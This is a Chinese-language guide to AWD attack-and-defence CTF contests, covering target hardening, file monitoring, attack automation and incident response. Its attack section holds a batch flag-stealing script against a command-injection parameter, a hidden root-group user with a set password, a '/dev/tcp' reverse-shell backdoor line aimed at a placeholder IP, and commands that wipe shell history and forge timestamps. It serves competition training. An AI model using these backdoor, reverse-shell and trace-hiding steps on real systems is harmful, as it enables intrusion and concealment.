1. 赛事认知与基础准备
AWD(Attack With Defense)模式是近年来CTF竞赛中最具对抗性和实战性的赛制形式。与传统的解题赛不同,每支队伍会分配到一个存在漏洞的在线靶机环境,选手需要同时完成漏洞挖掘、系统加固、实时防御和攻击渗透等多重任务。这种"攻防一体"的赛制对参赛者的综合能力提出了极高要求。
我参加过七届国内外大型AWD赛事,从最初的"手忙脚乱"到后来带队斩获前三,深刻体会到这种赛制的独特魅力。与传统CTF相比,AWD更贴近真实安全运维场景——你永远不知道下一秒会被哪个对手偷走flag,也可能因为一个未修复的漏洞导致全场队伍连环沦陷。
1.1 典型赛场环境拓扑
标准AWD赛场通常采用类似下面的架构:
[队伍A靶机] ←→ [中心交换机] ←→ [队伍B靶机] ↑ ↑ ↑ 队伍A 裁判机 队伍B (SSH管理) (flag检查) (SSH管理)关键组件说明:
- 每支队伍拥有独立靶机(通常为Ubuntu/CentOS系统)
- 靶机开放SSH(22端口)用于管理,Web(80/443)等业务端口对外服务
- 裁判机定时从各靶机读取flag文件(通常每3-5分钟一轮)
- 攻击成功表现为:获取其他队伍flag并提交到裁判系统
- 防御成功表现为:保证自己的flag不被他人获取
1.2 必须掌握的四大核心技能
根据实战经验,AWD选手需要具备以下能力矩阵:
| 技能维度 | 具体要求 | 典型工具 |
|---|---|---|
| 漏洞快速挖掘 | 能在10分钟内完成代码审计、敏感信息扫描、服务漏洞检测 | seay、gdb、checksec |
| 即时防御加固 | 对已知/未知漏洞能快速采取临时防护措施 | iptables、chattr、patch |
| 自动化攻击 | 编写脚本批量利用漏洞获取flag | python、pwntools、exp |
| 战场态势感知 | 实时监控系统状态、识别攻击来源、分析流量特征 | tcpdump、日志分析 |
关键认知:AWD不是单纯的"攻"或"防",而是要在两者间动态平衡。我见过太多队伍因为过度专注攻击而忽视防御,最终被反向渗透导致丢分。
2. 防御体系构建实战
2.1 初始加固黄金十分钟
比赛开始后的前十分钟是防御的关键窗口期。按优先级排序:
- SSH安全加固(立即执行)
# 修改默认SSH端口 sudo sed -i 's/#Port 22/Port 63222/' /etc/ssh/sshd_config # 禁止root登录 sudo sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config # 启用密钥认证 sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config # 重启服务 sudo systemctl restart sshd- 文件权限锁死
# 防止flag被读取(即使拿到shell) sudo chattr +i /flag /readflag /opt/getflag # Web目录禁止执行 sudo find /var/www/html -type d -exec chmod 555 {} \; sudo find /var/www/html -type f -exec chmod 444 {} \;- 网络层防护
# 允许必要端口(根据实际调整) sudo iptables -A INPUT -p tcp --dport 63222 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A INPUT -j DROP # 防CC攻击(每IP每秒最多3个新连接) sudo iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j DROP sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 3/second --limit-burst 10 -j ACCEPT2.2 漏洞定位三板斧
当基础加固完成后,立即转向漏洞挖掘:
- 敏感信息扫描
# 快速查找配置文件、备份文件 find / -name "*.bak" -o -name "*.swp" -o -name "*.old" -o -name "*~" 2>/dev/null # 检查SUID危险程序 find / -perm -4000 -type f 2>/dev/null | grep -vE "/usr/bin|/usr/sbin"- Web目录审计
# 检查危险函数(PHP场景) grep -r "eval(" /var/www/html grep -r "system(" /var/www/html grep -r "shell_exec(" /var/www/html # 检查反序列化入口 grep -r "unserialize(" /var/www/html- 服务漏洞检测
# 检查服务版本 sudo netstat -tulnp | awk '{print $7}' | cut -d'/' -f2 | sort -u # 使用searchsploit快速查询已知漏洞 searchsploit nginx 1.18 searchsploit php 7.42.3 自动化监控方案
使用脚本实现实时监控是高端局的标配:
#!/usr/bin/env python3 import os, hashlib, time LOG_FILE = "/var/log/awd_monitor.log" CRITICAL_FILES = ["/flag", "/etc/passwd", "/var/www/html/index.php"] def file_monitor(): baseline = {} for f in CRITICAL_FILES: try: with open(f, 'rb') as fd: baseline[f] = hashlib.md5(fd.read()).hexdigest() except: continue while True: for f in CRITICAL_FILES: try: with open(f, 'rb') as fd: current = hashlib.md5(fd.read()).hexdigest() if current != baseline.get(f): alert = f"[!] {f} modified at {time.ctime()}" print(alert) with open(LOG_FILE, 'a') as log: log.write(alert + "\n") baseline[f] = current except: pass time.sleep(5) if __name__ == '__main__': file_monitor()血泪教训:在某次比赛中,我们因为没监控/etc/passwd文件,对手通过添加用户的方式拿到了持久化后门,导致连续多轮丢分。
3. 攻击战术与自动化
3.1 攻击路径规划
成熟的AWD攻击流程应包含:
信息收集阶段
- 扫描所有队伍IP和开放端口(nmap -sS -Pn)
- 识别Web框架/服务版本(whatweb、Wappalyzer)
- 检查通用漏洞(如phpMyAdmin、ThinkPHP)
漏洞利用阶段
- 优先使用自己靶机发现的漏洞攻击他人
- 准备多个exp应对不同环境(如Python/PHP版本差异)
- 对防御强的队伍尝试0day或组合漏洞
持续控制阶段
- 获取shell后部署持久化后门
- 清除其他攻击者的痕迹(.bash_history等)
- 建立SSH隧道避免被踢出
3.2 批量攻击脚本示例
以下是一个典型的批量提交flag的Python脚本:
import requests import threading TARGETS = ['10.0.1.%d'%i for i in range(1,21)] FLAG_URL = "http://{ip}/backend.php?cmd=cat+/flag" SUBMIT_URL = "http://judge.example.com/submit" TEAM_TOKEN = "your_token_here" def attack(ip): try: flag = requests.get(FLAG_URL.format(ip=ip), timeout=3).text.strip() if "flag{" in flag: data = {'token':TEAM_TOKEN, 'flag':flag} requests.post(SUBMIT_URL, data=data, timeout=2) print(f"[+] {ip} 成功提交") except Exception as e: print(f"[-] {ip} 失败: {str(e)}") for ip in TARGETS: threading.Thread(target=attack, args=(ip,)).start()3.3 高级攻击技巧
- 流量伪装技术
# 修改User-Agent模拟正常请求 curl -A "Mozilla/5.0 (Windows NT 10.0)" http://target/exp.php # 使用延时避免触发WAF import time time.sleep(random.randint(1,3))- 权限维持方法
# 添加隐藏用户 useradd -M -s /bin/bash -g root hiddenuser echo "hiddenuser:password123" | chpasswd # 创建SSH后门 cp /usr/bin/ssh /usr/bin/sshd-backdoor echo "bash -i >& /dev/tcp/your_ip/4444 0>&1" >> /usr/bin/sshd-backdoor- 痕迹清理指南
# 清除命令历史 echo "" > ~/.bash_history history -c # 修改文件时间戳 touch -r /etc/passwd /tmp/.backdoor4. 实战问题排查手册
4.1 常见故障速查表
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| SSH突然断开 | 对手修改了iptables规则 | 尝试其他端口或Webshell连接 |
| flag提交失败 | 裁判系统过载或flag过期 | 检查比赛时间,确认本轮是否结束 |
| 网站返回500错误 | 对手删除了关键文件 | 从备份恢复,检查文件监控日志 |
| CPU占用100% | 被植入挖矿木马 | kill异常进程,检查crontab和/etc/init.d |
4.2 应急响应流程
立即止损
- 断开网络:
sudo ifconfig eth0 down - 停止服务:
sudo systemctl stop apache2
- 断开网络:
入侵分析
- 检查进程:
ps auxf - 分析网络:
netstat -antp - 查找新增文件:
find / -mtime -1
- 检查进程:
系统恢复
- 删除恶意文件
- 修复配置文件
- 重启服务
4.3 赛后复盘要点
技术层面
- 所有被利用的漏洞点及修复方案
- 有效和无效的防御措施
- 攻击链路的完整路径
战术层面
- 时间分配是否合理
- 团队协作效率
- 自动化程度不足的环节
提升计划
- 需要加强的技能点
- 工具链优化方向
- 模拟训练重点
在最近一次省赛中,我们通过实时流量分析发现对手利用的是我们忽略的Redis未授权访问漏洞。这个教训让我们意识到:AWD比赛中,任何开放的服务都可能成为突破口,必须建立完整的服务画像和防护策略。